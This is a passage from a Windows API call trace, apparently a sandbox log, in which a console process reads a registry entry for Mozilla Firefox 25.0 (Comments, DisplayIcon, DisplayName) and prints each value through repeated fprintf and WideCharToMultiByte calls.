_File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.084] lstrlenW (lpString="Comments") returned 8 [0149.084] __iob_func () returned 0x7fefd702a80 [0149.084] _fileno (_File=0x7fefd702ab0) returned 1 [0149.084] _errno () returned 0x204bb0 [0149.084] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.084] _errno () returned 0x204bb0 [0149.084] GetFileType (hFile=0x50) returned 0x1 [0149.084] lstrlenW (lpString="Comments") returned 8 [0149.084] GetConsoleOutputCP () returned 0x1b5 [0149.085] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.085] GetConsoleOutputCP () returned 0x1b5 [0149.085] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0149.085] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.085] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.085] __iob_func () returned 0x7fefd702a80 [0149.085] _fileno (_File=0x7fefd702ab0) returned 1 [0149.085] _errno () returned 0x204bb0 [0149.085] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.085] _errno () returned 0x204bb0 [0149.085] GetFileType (hFile=0x50) returned 0x1 [0149.085] lstrlenW (lpString=" ") returned 4 [0149.085] GetConsoleOutputCP () returned 0x1b5 [0149.085] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.085] GetConsoleOutputCP () returned 0x1b5 [0149.085] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.085] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.085] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.085] __iob_func () returned 0x7fefd702a80 [0149.085] _fileno (_File=0x7fefd702ab0) returned 1 [0149.086] _errno () returned 0x204bb0 [0149.086] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.086] _errno () returned 0x204bb0 [0149.086] GetFileType (hFile=0x50) returned 0x1 [0149.086] lstrlenW (lpString="REG_SZ") returned 6 [0149.086] GetConsoleOutputCP () returned 0x1b5 [0149.086] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.086] GetConsoleOutputCP () returned 0x1b5 [0149.086] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.086] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.086] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.086] __iob_func () returned 0x7fefd702a80 [0149.086] _fileno (_File=0x7fefd702ab0) returned 1 [0149.086] _errno () returned 0x204bb0 [0149.086] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.086] _errno () returned 0x204bb0 [0149.086] GetFileType (hFile=0x50) returned 0x1 [0149.086] lstrlenW (lpString=" ") returned 4 [0149.086] GetConsoleOutputCP () returned 0x1b5 [0149.086] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.086] GetConsoleOutputCP () returned 0x1b5 [0149.087] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.087] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.087] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.087] __iob_func () returned 0x7fefd702a80 [0149.087] _fileno (_File=0x7fefd702ab0) returned 1 [0149.087] _errno () returned 0x204bb0 [0149.087] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.087] _errno () returned 0x204bb0 [0149.087] GetFileType (hFile=0x50) returned 0x1 [0149.087] lstrlenW (lpString="Mozilla Firefox 25.0 (x86 en-US)") returned 32 [0149.087] GetConsoleOutputCP () returned 0x1b5 [0149.089] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Mozilla Firefox 25.0 (x86 en-US)", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0149.089] GetConsoleOutputCP () returned 0x1b5 [0149.089] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Mozilla Firefox 25.0 (x86 en-US)", cchWideChar=32, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mozilla Firefox 25.0 (x86 en-US)", lpUsedDefaultChar=0x0) returned 32 [0149.089] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 32 [0149.089] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.089] __iob_func () returned 0x7fefd702a80 [0149.089] _fileno (_File=0x7fefd702ab0) returned 1 [0149.090] _errno () returned 0x204bb0 [0149.090] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.090] _errno () returned 0x204bb0 [0149.090] GetFileType (hFile=0x50) returned 0x1 [0149.090] lstrlenW (lpString="\n") returned 1 [0149.090] GetConsoleOutputCP () returned 0x1b5 [0149.090] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.090] GetConsoleOutputCP () returned 0x1b5 [0149.090] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.090] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.090] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.090] GetProcessHeap () returned 0x3c0000 [0149.090] GetProcessHeap () returned 0x3c0000 [0149.090] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d9d00) returned 1 [0149.090] GetProcessHeap () returned 0x3c0000 [0149.090] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d9d00) returned 0x46 [0149.090] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d9d00 | out: hHeap=0x3c0000) returned 1 [0149.090] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayIcon", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.090] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x6c) returned 0x0 [0149.090] GetProcessHeap () returned 0x3c0000 [0149.090] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6e) returned 0x3db830 [0149.090] GetProcessHeap () returned 0x3c0000 [0149.090] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.090] GetProcessHeap () returned 0x3c0000 [0149.090] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6e [0149.090] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x6c | out: pdwType=0x29f700*=0x1, pvData="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe,0", pcbData=0x29f780*=0x6a) returned 0x0 [0149.091] __iob_func () returned 0x7fefd702a80 [0149.091] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.091] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.091] _fileno (_File=0x7fefd702ab0) returned 1 [0149.091] _errno () returned 0x204bb0 [0149.091] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.091] _errno () returned 0x204bb0 [0149.091] GetFileType (hFile=0x50) returned 0x1 [0149.091] lstrlenW (lpString=" ") returned 4 [0149.091] GetConsoleOutputCP () returned 0x1b5 [0149.091] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.091] GetConsoleOutputCP () returned 0x1b5 [0149.091] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.091] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.091] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.091] lstrlenW (lpString="DisplayIcon") returned 11 [0149.091] __iob_func () returned 0x7fefd702a80 [0149.091] _fileno (_File=0x7fefd702ab0) returned 1 [0149.091] _errno () returned 0x204bb0 [0149.091] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.091] _errno () returned 0x204bb0 [0149.091] GetFileType (hFile=0x50) returned 0x1 [0149.091] lstrlenW (lpString="DisplayIcon") returned 11 [0149.091] GetConsoleOutputCP () returned 0x1b5 [0149.091] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0149.092] GetConsoleOutputCP () returned 0x1b5 [0149.092] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayIcon", lpUsedDefaultChar=0x0) returned 11 [0149.092] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0149.092] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.092] __iob_func () returned 0x7fefd702a80 [0149.092] _fileno (_File=0x7fefd702ab0) returned 1 [0149.092] _errno () returned 0x204bb0 [0149.092] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.092] _errno () returned 0x204bb0 [0149.092] GetFileType (hFile=0x50) returned 0x1 [0149.092] lstrlenW (lpString=" ") returned 4 [0149.092] GetConsoleOutputCP () returned 0x1b5 [0149.092] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.092] GetConsoleOutputCP () returned 0x1b5 [0149.092] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.092] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.092] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.092] __iob_func () returned 0x7fefd702a80 [0149.092] _fileno (_File=0x7fefd702ab0) returned 1 [0149.092] _errno () returned 0x204bb0 [0149.092] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.092] _errno () returned 0x204bb0 [0149.092] GetFileType (hFile=0x50) returned 0x1 [0149.092] lstrlenW (lpString="REG_SZ") returned 6 [0149.093] GetConsoleOutputCP () returned 0x1b5 [0149.093] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.093] GetConsoleOutputCP () returned 0x1b5 [0149.093] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.093] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.093] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.093] __iob_func () returned 0x7fefd702a80 [0149.093] _fileno (_File=0x7fefd702ab0) returned 1 [0149.093] _errno () returned 0x204bb0 [0149.093] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.093] _errno () returned 0x204bb0 [0149.093] GetFileType (hFile=0x50) returned 0x1 [0149.093] lstrlenW (lpString=" ") returned 4 [0149.093] GetConsoleOutputCP () returned 0x1b5 [0149.093] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.093] GetConsoleOutputCP () returned 0x1b5 [0149.093] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.093] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.093] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.094] __iob_func () returned 0x7fefd702a80 [0149.094] _fileno (_File=0x7fefd702ab0) returned 1 [0149.094] _errno () returned 0x204bb0 [0149.094] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.094] _errno () returned 0x204bb0 [0149.094] GetFileType (hFile=0x50) returned 0x1 [0149.094] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe,0") returned 52 [0149.094] GetConsoleOutputCP () returned 0x1b5 [0149.094] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe,0", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0149.094] GetConsoleOutputCP () returned 0x1b5 [0149.094] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe,0", cchWideChar=52, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe,0", lpUsedDefaultChar=0x0) returned 52 [0149.094] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0149.094] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.094] __iob_func () returned 0x7fefd702a80 [0149.094] _fileno (_File=0x7fefd702ab0) returned 1 [0149.094] _errno () returned 0x204bb0 [0149.094] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.094] _errno () returned 0x204bb0 [0149.094] GetFileType (hFile=0x50) returned 0x1 [0149.094] lstrlenW (lpString="\n") returned 1 [0149.094] GetConsoleOutputCP () returned 0x1b5 [0149.094] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.095] GetConsoleOutputCP () returned 0x1b5 [0149.095] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.095] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.095] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.095] GetProcessHeap () returned 0x3c0000 [0149.095] GetProcessHeap () returned 0x3c0000 [0149.095] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.095] GetProcessHeap () returned 0x3c0000 [0149.095] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6e [0149.095] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.095] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.095] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x44) returned 0x0 [0149.095] GetProcessHeap () returned 0x3c0000 [0149.095] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x46) returned 0x3d9d00 [0149.095] GetProcessHeap () returned 0x3c0000 [0149.095] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d9d00) returned 1 [0149.095] GetProcessHeap () returned 0x3c0000 [0149.095] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d9d00) returned 0x46 [0149.095] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d9d00, pcbData=0x29f780*=0x44 | out: pdwType=0x29f700*=0x1, pvData="Mozilla Firefox 25.0 (x86 en-US)", pcbData=0x29f780*=0x42) returned 0x0 [0149.095] __iob_func () returned 0x7fefd702a80 [0149.095] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.095] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.095] _fileno (_File=0x7fefd702ab0) returned 1 [0149.095] _errno () returned 0x204bb0 [0149.095] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.095] _errno () returned 0x204bb0 [0149.095] GetFileType (hFile=0x50) returned 0x1 [0149.095] lstrlenW (lpString=" ") returned 4 [0149.095] GetConsoleOutputCP () returned 0x1b5 [0149.096] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.096] GetConsoleOutputCP () returned 0x1b5 [0149.096] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.096] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.096] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.096] lstrlenW (lpString="DisplayName") returned 11 [0149.096] __iob_func () returned 0x7fefd702a80 [0149.096] _fileno (_File=0x7fefd702ab0) returned 1 [0149.096] _errno () returned 0x204bb0 [0149.096] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.096] _errno () returned 0x204bb0 [0149.096] GetFileType (hFile=0x50) returned 0x1 [0149.096] lstrlenW (lpString="DisplayName") returned 11 [0149.096] GetConsoleOutputCP () returned 0x1b5 [0149.096] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0149.096] GetConsoleOutputCP () returned 0x1b5 [0149.096] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0149.096] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0149.096] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.096] __iob_func () returned 0x7fefd702a80 [0149.096] _fileno (_File=0x7fefd702ab0) returned 1 [0149.096] _errno () returned 0x204bb0 [0149.096] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.097] _errno () returned 0x204bb0 [0149.097] GetFileType (hFile=0x50) returned 0x1 [0149.097] lstrlenW (lpString=" ") returned 4 [0149.097] GetConsoleOutputCP () returned 0x1b5 [0149.097] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.097] GetConsoleOutputCP () returned 0x1b5 [0149.097] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.097] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.097] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.097] __iob_func () returned 0x7fefd702a80 [0149.097] _fileno (_File=0x7fefd702ab0) returned 1 [0149.097] _errno () returned 0x204bb0 [0149.097] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.097] _errno () returned 0x204bb0 [0149.097] GetFileType (hFile=0x50) returned 0x1 [0149.097] lstrlenW (lpString="REG_SZ") returned 6 [0149.097] GetConsoleOutputCP () returned 0x1b5 [0149.097] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.097] GetConsoleOutputCP () returned 0x1b5 [0149.098] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.098] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.098] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.098] __iob_func () returned 0x7fefd702a80 [0149.098] _fileno (_File=0x7fefd702ab0) returned 1 [0149.098] _errno () returned 0x204bb0 [0149.098] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.098] _errno () returned 0x204bb0 [0149.098] GetFileType (hFile=0x50) returned 0x1 [0149.098] lstrlenW (lpString=" ") returned 4 [0149.098] GetConsoleOutputCP () returned 0x1b5 [0149.098] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.098] GetConsoleOutputCP () returned 0x1b5 [0149.098] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.098] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.098] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.098] __iob_func () returned 0x7fefd702a80 [0149.098] _fileno (_File=0x7fefd702ab0) returned 1 [0149.098] _errno () returned 0x204bb0 [0149.098] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.098] _errno () returned 0x204bb0 [0149.098] GetFileType (hFile=0x50) returned 0x1 [0149.098] lstrlenW (lpString="Mozilla Firefox 25.0 (x86 en-US)") returned 32 [0149.098] GetConsoleOutputCP () returned 0x1b5 [0149.099] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Mozilla Firefox 25.0 (x86 en-US)", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0149.099] GetConsoleOutputCP () returned 0x1b5 [0149.099] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Mozilla Firefox 25.0 (x86 en-US)", cchWideChar=32, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mozilla Firefox 25.0 (x86 en-US)", lpUsedDefaultChar=0x0) returned 32 [0149.099] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 32 [0149.099] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.099] __iob_func () returned 0x7fefd702a80 [0149.099] _fileno (_File=0x7fefd702ab0) returned 1 [0149.099] _errno () returned 0x204bb0 [0149.099] _get_osfhandle (_FileHandle=1) returned 